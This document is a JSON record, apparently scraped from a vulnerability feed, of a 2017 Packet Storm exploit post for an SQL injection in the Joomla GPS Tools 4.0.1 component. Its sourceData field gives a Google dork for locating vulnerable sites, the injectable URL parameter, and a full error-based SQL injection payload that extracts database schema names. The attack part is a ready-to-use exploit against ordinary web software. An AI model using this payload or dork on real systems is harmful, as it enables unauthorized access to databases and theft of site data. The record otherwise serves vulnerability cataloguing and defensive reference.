{"type": "packetstorm", "published": "2017-02-25T00:00:00", "href": "https://packetstormsecurity.com/files/141313/Joomla-GPS-Tools-4.0.1-SQL-Injection.html", "hashmap": [{"key": "bulletinFamily", "hash": "708697c63f7eb369319c6523380bdf7a"}, {"key": "cvelist", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cvss", "hash": "8cd4821cb504d25572038ed182587d85"}, {"key": "description", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "href", "hash": "0173b73fbfccd9f78b3699d5df20813d"}, {"key": "modified", "hash": "3c17c30bf8ce775af745146e5612f94e"}, {"key": "objectVersion", "hash": "56765472680401499c79732468ba4340"}, {"key": "published", "hash": "3c17c30bf8ce775af745146e5612f94e"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "8f9da6443571f75195f401f82e60b810"}, {"key": "sourceData", "hash": "f464e48a152de1dc2bff6678a8f1e921"}, {"key": "sourceHref", "hash": "a6cbaadb1fba8d0668ad3518992bcf36"}, {"key": "title", "hash": "0c7e825c6710f4b7bbd3c5d0360af6b9"}, {"key": "type", "hash": "6466ca3735f647eeaed965d9e71bd35d"}], "bulletinFamily": "exploit", "cvss": {"vector": "NONE", "score": 0.0}, "sourceData": "`# # # # # \n# Exploit Title: Joomla! Component GPS Tools v4.0.1 - SQL Injection \n# Google Dork: inurl:index.php?option=com_gpstools \n# Date: 24.02.2017 \n# Vendor Homepage: http://corejoomla.com/ \n# Software Buy: https://extensions.joomla.org/extensions/extension/maps-a-weather/maps-a-locations/gps-tools/ \n# Demo: http://demo.corejoomla.com/tracks.html \n# Version: 4.0.1 \n# Tested on: Win7 x64, Kali Linux x64 \n# # # # # \n# Exploit Author: Ihsan Sencan \n# Author Web: http://ihsan.net \n# Author Mail : ihsan[@]ihsan[.]net \n# # # # # \n# SQL Injection/Exploit : \n# index.php?option=com_gpstools&view=search \n# http://localhost/[PATH]/?list_filter=Ihsan_Sencan&list_filter_field=author&filter_all_keywords=1&filter_order=a.catid&filter_order_Dir=desc&catid[]=[SQL] \n# 66+AND(SELECT+1+from(SELECT+COUNT(*),CONCAT((SELECT+(SELECT+(SELECT+DISTINCT+CONCAT(0x496873616e2053656e63616e,0x7e,0x27,CAST(schema_name+AS+CHAR),0x27,0x7e)+FROM+INFORMATION_SCHEMA.SCHEMATA+WHERE+table_schema!=DATABASE()+LIMIT+1,1))+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+0,1),+FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)+AND+1=1 \n# # # # # \n`\n", "viewCount": 22, "history": [], "edition": 1, "objectVersion": "1.2", "reporter": "Ihsan Sencan", "sourceHref": "https://packetstormsecurity.com/files/download/141313/joomlagpstools401-sql.txt", "title": "Joomla GPS Tools 4.0.1 SQL Injection", "enchantments": {"score": {"vector": "NONE", "value": 7.5}, "dependencies": {"references": [], "modified": "2017-02-25T17:06:39"}, "vulnersScore": 7.5}, "references": [], "id": "PACKETSTORM:141313", "hash": "ab97e862ca6cca1da73e617c085c022f317a89ae90911bf3995c69ff07bfeee8", "lastseen": "2017-02-25T17:06:39", "cvelist": [], "modified": "2017-02-25T00:00:00", "description": ""}

{}